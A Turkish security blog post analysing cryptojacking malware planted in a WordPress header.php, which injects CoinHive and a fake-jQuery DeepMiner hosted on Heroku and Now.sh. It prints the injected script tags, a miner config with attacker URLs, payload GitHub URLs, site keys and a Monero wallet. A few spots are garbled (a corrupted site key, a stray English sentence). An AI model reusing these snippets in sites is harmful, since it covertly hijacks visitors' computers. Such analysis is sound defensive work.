Detaylı Analiz; CoinHive – DeepMiner Web Mining (JavaScript Mining)

GitHub’dan Kötü Niyetli Websiteleri Üzerinden Kripto Madenciliği. 

Kısa süre önce GitHub/GitHub.io’nun ele geçirilmiş websitelerine kripto para madencilerini yerleştiren saldırılarda nasıl kullanıldığına dair yazmıştık. Yine o sırada kötü niyetli kod sağlamak üzere GitHub’ı kullanan başka bir saldırı fark ettik.

Header.php Dosyasında Şifreli CoinHive Maden Kazıcısı

Aktif WordPress temasının header.php dosyasında aşağıda belirtilen şifreli kötücül yazılım bulunmuştu:

web sitesi üzerinden mining

Toplamda dört satırlık kod bulunmakta. Kod çözüldüğünde her biri farklı bir rol oynuyor.

CoinHive Enjeksiyonları

Kod çözüldüğünde, son iki satır tipik CoinHive kripto para kazıcılarını enjekte ediyor:

 

site üzerinden mining

Kazıcı sadece duruma göre gösteriliyor, böylece botlar hariç tutularak sadece insan ziyaretçiler bunu alıyor. Bu durum, web spam yetkilileri tarafından fark edilmeyi engelliyor – ayrıca botlar coin kazamayacağı için hacker için faydalı değiller.

Kötü Amaçlı Yazılım Şu Site Anahtarlarını Kullanıyor: gFxV1c98qzr1IFChFglOSfb0iDRo1508 ve 92o2UmHaBROIeQemIy8iNY2CDcnRS5GS.

GitHub’dan CoinHive Anahtarları

Kod çözüldüğü zaman ikinci enjeksiyon satırı daha da ilginç:

cryptominer javascript php wordpress

Bu başka bir CoinHive enjeksiyonu fakat biraz daha karmaşık.

Ayrıca kodun, bir GitHub web adresinden içerik çektiğini görüyoruz:

https://raw.githubusercontent.com/xmrstudio/mrs/master/rs.c

Bu durumda GitHub içeriği, kötü amaçlı yazılımın kazıcıya enjekte ederken değiştirdiği birkaç kodlanmış CoinHive site anahtarıdır.  (Llsav0GRKLbDgqTsjHpkGQWdpJzZehyP ve gFxV1c98qzr1IFChFglOSfb0iDRo1508)

GitHub’dan Maden Kazıcısı Enjeksiyonları

Enjeksiyonun ilk satırı en sofistike versiyondur:

wordpress javascript mining

Bu durumda kötü amaçlı yazılım, başka bir dosya altında aynı GitHub veri havuzunda şifreli formda bulunan kripto maden kazıcı komut dizilerinin birçok varyasyonundan birini rastgele olarak enjekte etmektedir:

https://raw.githubusercontent.com/xmrstudio/mrs/master/rj.c 

Burada 21 Aralık itibariyle mevcut olan şifresi çözülmüş içerik bulunmakta:

php web mining bitcoin

Sahte jQuery Yeni Kazıcıya Yönlediriyor

Bu listenin en altında, zaten tanıdık olan CoinHive komut dizileri görüyoruz ve bunlarını site anahtarları da şunlar: gFxV1c98qzr1IFChFglOSfb0iDRo1508Llsav0GRKLbDgƒthroqTsjHpkGQWdpJzZehyP ve Zn92xkXihjehhF2pjbO25MzorrrCnwWc.

Kodun geri kalanı farklı görünüyor. Örneğin:

<script src="//jqcdn2.herokuapp[.]com/jquery.js"></script>
<script>new jQuery.Anonymous('nano',{throttle:0.2}).start();</script>

Throttle (kapak) parametreleri bunun hala bir kripto kazıcı olduğunu gösteriyor, fakat kaynak jQuery olduğunu iddia ediyor – ve URL CoinHive’a ait değil.

Yabancı URL’lerin kalanı şunlardır:

herokuapp[.]com/jquery.js

herokuapp[.]com/jquery.js

herokuapp[.]com/jquery.js

now[.]sh/jquery.js

now[.]sh/jquery.js

herokuapp[.]com/jquery.js

now[.]sh/jquery.js

now[.]sh/jquery.js

herokuapp[.]com/jquery.js

now[.]sh/jquery.js

herokuapp[.]com/jquery.js

now[.]sh/jquery.js

 

Tabi ki bu geçerli bir jQuery değil. Hızlı bir kod şunlar gibi satırları ortaya çıkarıyor:

...
xhr.open("get", jQuery.CONFIG.LIB_URL + "cryptonight-asmjs.min.js", true);
...
Miner.prototype.getHashesPerSecond = function () {
...

Bu kod Monero kazıyor. Fakat bilindik CoinHive JavaScript kitaplığı değil.

Anlaşıldı ki bu GitHub’da da bulunan, CoinHive’dan esinlenmiş bir DeepMiner web uygulaması. Bu uygulama bir Node.js sunucu kısmından ve bir JavaScript istemci kısmından oluşuyor.

Kendi Bünyesinde Barınan DeepMiner Uygulaması

CoinHive kazıcısı veya başka bir popüler alternatif yerine neden kendi bünyesinde barınan sunucu uygulaması kullanılır? Sonuç olarak bu, saldırganlar için daha esnek. İstemci, komut dizisi ve websocket proxy için kendi domainlerini kullanarak (ne zaman isterlerse değiştirerek) onların kara listelerden kaçmasına yardımcı olur.

İstemci komut dizilerinde bulunan ayarlar buradadır:

...
self.jQuery.CONFIG = {
   LIB_URL: "https://jqcdn2.herokuapp[.]com/lib/",
   WEBSOCKET_SHARDS: [["wss://jqcdn2.herokuapp[.]com/proxy"]],
   CAPTCHA_URL: "hxxps://jqcdn2.herokuapp[.]com/captcha/",
   MINER_URL: "hxxps://jqcdn2.herokuapp[.]com/media/miner.html"
};

Saldırganlar bu şekilde herhangi bir Monero maden havuzunu seçebilir – bu olayda saldırganlar pool.minexmr.com:3333 havuzunu kullanmakta – ve CoinHive’a komisyon ödemekten kaçınabilirler. Fakat bu esnekliğin de bir bedeli var.

Bu bir Node.js uygulaması ve çoğu paylaşımlı sağlayıcı planları Node.js’yi desteklemiyor. Yapabilecekleri tek şey Node.js’yi destekleyen ya özel bir sunucu almak yada hizmet olarak bulut platformu (PaaS) kullanmaktır.

İlk yaklaşımın (kendi sunucusu) saldırganlar için birçok dezavantajı vardır:

Bunun için ödeme yapmaları gerekir.

Her şeyi (OS, web sunucusu, Node.js, vb.) yüklemeleri, yapılandırmaları ve idame ettirmeleri gerekir.

Hosting sağlayıcısıyla iletişime geçerek ve IP adresini kara listeye alarak işlerini bitirmek kolaydır.

İkinci yaklaşım (PaaS sağlayıcısı) tüm bu dezavantajların üstesinden gelir:

Genellikle ücretsiz üçüncü seviye domain adlarını da dahil eden ücretsiz (kısıtlı) planlar vardır.

Saldırganların sadece kripto kazıcı uygulamalarını yüklemesi gerekir ve bu uygulama anında çalışmaya başlar. Bakım gerektirmez.

Bu bir bulut uygulaması olduğundan, IP adresini kara listeye almak imkansızdır – “herokuapp.com” gibi domainler, binlerce meşru uygulama tarafından kullanılmaktadır. PaaS sunucuları şikayet almaları durumunda kuralları ihlal eden bir hesabı kapatabilir, fakat saldırganlar tek kullanımlık hesaplar oluşturmaya devam edebilir.

Heroku ve Now.sh

Bu, saldırganların DeepMiner uygulamalarını barındırmak için neden popüler servisler olan Heroku ve Now.sh’yi seçtiğini açıklıyor.

Fakat bu platformlardaki ücretsiz planların bazı kısıtlamaları vardır. Örneğin, Heroku’da doğrulanmamış hesaplar aylık sadece 550 ücretsiz saate sahiptir. Bunun etrafından dolanmak için, saldırganlar büyük ihtimalle birden fazla ücretsiz hesap oluşturmuş ve bunların her birinde uygulamalarının klonlarını oluşturmuşlardır. Hacklenmiş siteleri enjekte ettikleri kodda, ücretsiz kotayı doldurmadıklarından emin olmak için, uygulamalarının URL’lerini rastgele değiştirmek zorundadırlar.

Bu durum, kendi Heroku ve now.sh uygulama listelerine neden üç CoinHive.com komut dizisi eklediklerini açıklıyor – ücretsiz kısıtlı uygulamaları üzerindeki yükü azaltmaya yardımcı oluyor.

Tahmini Bulaşmış Site Sayısı

Bu arada, PublicWWW verilerini kullanarak bulaşmış site sayısını tahmin edebiliriz. Bunu yapabilmek için, bu saldırıda kullanılan CoinHive site anahtarlarını arattım. Bunların hepsi farklı zamanlarda aynı sitelerde kullanılabileceği için, listeler büyük ihtimalle çakışacaktır:

gFxV1c98qzr1IFChFglOSfb0iDRo1508 – 483web sitesi

Llsav0GRKLbDgqTsjHpkGQWdpJzZehyP – 212web sitesi

92o2UmHaBROIeQemIy8iNY2CDcnRS5GS – 565web sitesi

Zn92xkXihjehhF2pjbO25MzorrrCnwWc – 226web sitesi

CoinHive dışı URL’leri için yapılan daha geniş kapsamlı bir arama da 516 website ile sonuçlanmaktadır. Bu yüzden denilebilir ki, bu saldırı en azından 500’den fazla websiteyi etkilemiştir.

Canlı Uygulamaların Kaynak Kodu

There is one more interesting downside of free applications on Now.sh’deki ücretsiz uygulamaların bir tane daha ilginç bir dezavantajı vardır –/_src yolu üzerinden kodları herkese açıktır.

Bunun anlamı şudur; kötü amaçlı kazıcı uygulamalarının tüm kaynak kodunu kolayca görebiliriz:

deepminer nedir

Örneğin, bu bize maden havuzu ve Monero adresi gibi ilginç uygulama yapılandırma detaylarına sahip olan config.json dosyasına erişim verir.

...
"pool": "pool.minexmr.com:3333",
"addr": "47HpHLioxfTDVheN5KrQag7Lsro1tjmhNLK9BnvojzS8Ryj3LZ9wtrU13KYN3MJxdNgSNqxwwA8MuJX4d5fz583YJBvEYa2",
...

GitHub’dan İşlem Geçmişi

Eğer kötü amaçla kullanılan GitHub URL’lerine dönecek olursak, xmrstudio ücretsiz bir GitHub açık hesabıdır. Bunun anlamı da şudur ki; o kullanıcının tüm dosyalarına ve işlem geçmişine erişimimiz vardır.

mrc veri havuzunun 25 Kasım 2017’de oluşturulduğunu görüyoruz. Ondan önce saldırının aynı perdeyi kullanmış fakat sadece GitHub veya CoinHive dışı kazıcılarla çalışmayan satırları enjekte etmiştir.

27 Aralık itibariyle o veri havuzunda 36 işlem yapmışlar, enjeksiyon havuzlarına gittikçe daha fazla Heroku ve Now.sh uygulamaları eklemişlerdir. İlginç olarak, ilk versiyonlar daha sonra jQuery’e dönüştürülen DeepMiner değişkenini hala içermekteydi.

Enjektördeki Hata

Bu yazıdaki ilk ekran alıntısını hatırlıyor musunuz? Her biri bir kripto kazıcı enjekte eden dört gizli kod satırı gösteriyordu.

Kötü amaçlı yazılım enjektörü, sitenin halihazırda o yazılımın eski bir sürümüne sahip olup olmadığını kontrol etmiyor; bu büyük ihtimalle koddaki bir hatanın sonucu. Her yeni enfeksiyon dalgası, eskileri kaldırmadan yeni bir kripto kazıcı ekliyor. CoinHive varsayılan olarak sadece bir kazıcıyla başladığı için (diğer kazıcılar farklı site anahtarlarına sahip olsa bile) çok büyük bir sorun değildir.

Fakat sayfada bir CoinHive kazıcısı, bir de DeepMiner’ın Heroku/Now.sh versiyonu bulunursa, ikisi birbiriyle ilgili hiçbir şey bilmeyen ayrı uygulamalar olduğu için CPU döngüleri için yarışarak, bir ziyaretçinin bilgisayarında aynı anda çalışacaktır. Bu saldırı 0.3 ve 0.2 kapak değerleri (sırayla %70 ve %80 CPU) kullanmaktadır, bu nedenle birbiriyle yarışan iki komut dizisi CPU kullanımını %100’e çıkaracaktır.

Sonuç

Kripto hırsızlığı saldırılarının ilk dalgası, kötü aktörler arasında bu temaya gittikçe artan bir ilgiyi ortaya çıkarttı. En başta, ele geçirilmiş web sitelerine kendi site anahtarlarını içeren CoinHive komut dizilerini enjekte ettiler. Sonra, üçüncü taraf sitelerde CoinHive komut dizilerini gizleme ve barındırma ile oynamaya başladılar. Fakat CoinHive bir web sitesine bir coin kazıcısı eklemenin tek yolu değildir. Altta yatan teknoloji açık kaynaklıdır ve diğer insanlar da böylece kendi uygulamalarını ve hatta madencilik platformlarını oluşturmaya başlamıştır.

Doğal olarak, her şeyi GitHub’da bulabildiğiniz zaman, programlama alanında da yeni değilseniz, kendi coin madencilik platformunuzu oluşturmak ve CoinHive gibi servislere komisyon ödememek çekici gelebilir. Dahası, her şeyi kendiniz oluşturduğunuz zaman, her şeyi kendi isteğinize göre ayarlayabilir ve saldırı senaryonuz için ideal çalışma koşullarına getirebilirsiniz.

GitHub’ın kötü amaçlı kripto kazıcılar tarafından kullanımı hakkındaki bu yazı dizisinde, bu yöndeki ilk adımları görüyoruz. Hackerlar buna normal kavram kanıtlama olarak yaklaşıyor ve çoğu web geliştiricinin kullanacağı ücretsiz uygulama ve platformları kullanıyor: GitHub, Heroku ve Now.sh. Eğer bunun karlı olduğu kanıtlanırsa, bunun gibi maden kazıcılar karanlık ağda (otomatik gizlilik, domain değiştirme, kar paylaşımı) çalışabilir ve nihai olarak istismar kitlerine dahil olabilir.

Eğer CoinHive gibi servisler, platformlarının kötüye kullanımını engellemek üzerinde çalışmaya devam ederse, bu meşru ve kötücül tarayıcı içi kazıcılar arasında bir ayrım noktası olabilir. Bu tahminin doğru olup olmadığını zaman gösterecek.

Bu noktada, 2018’e girmemizle beraber  kripto hırsızlığının en hızlı gelişen alanlardan biri olduğu oldukça nettir.
 

Yorum yapın